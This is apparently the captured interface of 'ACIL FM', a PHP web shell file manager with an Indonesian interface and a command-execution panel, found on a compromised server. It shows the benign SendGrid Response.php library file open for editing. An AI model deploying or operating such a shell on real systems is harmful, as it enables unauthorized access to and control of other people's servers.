ACIL FM
Dark
Refresh
Current DIR:
/home/mhhtmff/app/NH-HR/plugins/sendgrid/vendor/sendgrid/php-http-client/lib
/
home
mhhtmff
app
NH-HR
plugins
sendgrid
vendor
sendgrid
php-http-client
lib
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
Exception
-
chmod
Open
Rename
Delete
Client.php
17.76 MB
chmod
View
DL
Edit
Rename
Delete
Response.php
2.02 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/mhhtmff/app/NH-HR/plugins/sendgrid/vendor/sendgrid/php-http-client/lib/Response.php
<?php /** * HTTP Client library */ namespace SendGrid; /** * Holds the response from an API call. */ class Response { /** * @var int */ protected $statusCode; /** * @var string */ protected $body; /** * @var array */ protected $headers; /** * Setup the response data. * * @param int $statusCode the status code * @param string $body the response body * @param array $headers an array of response headers */ public function __construct($statusCode = 200, $body = '', array $headers = []) { $this->statusCode = $statusCode; $this->body = $body; $this->headers = $headers; } /** * The status code. * * @return int */ public function statusCode() { return $this->statusCode; } /** * The response body. * * @return string */ public function body() { return $this->body; } /** * The response headers. * * @param bool $assoc * * @return array */ public function headers($assoc = false) { if (!$assoc) { return $this->headers; } return $this->prettifyHeaders($this->headers); } /** * Returns response headers as associative array. * * @param array $headers * * @return array */ private function prettifyHeaders(array $headers) { return array_reduce( array_filter($headers), static function ($result, $header) { if (mb_strpos($header, ':') === false) { $result['Status'] = trim($header); return $result; } list($key, $value) = explode(':', $header, 2); $result[trim($key)] = trim($value); return $result; }, [] ); } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply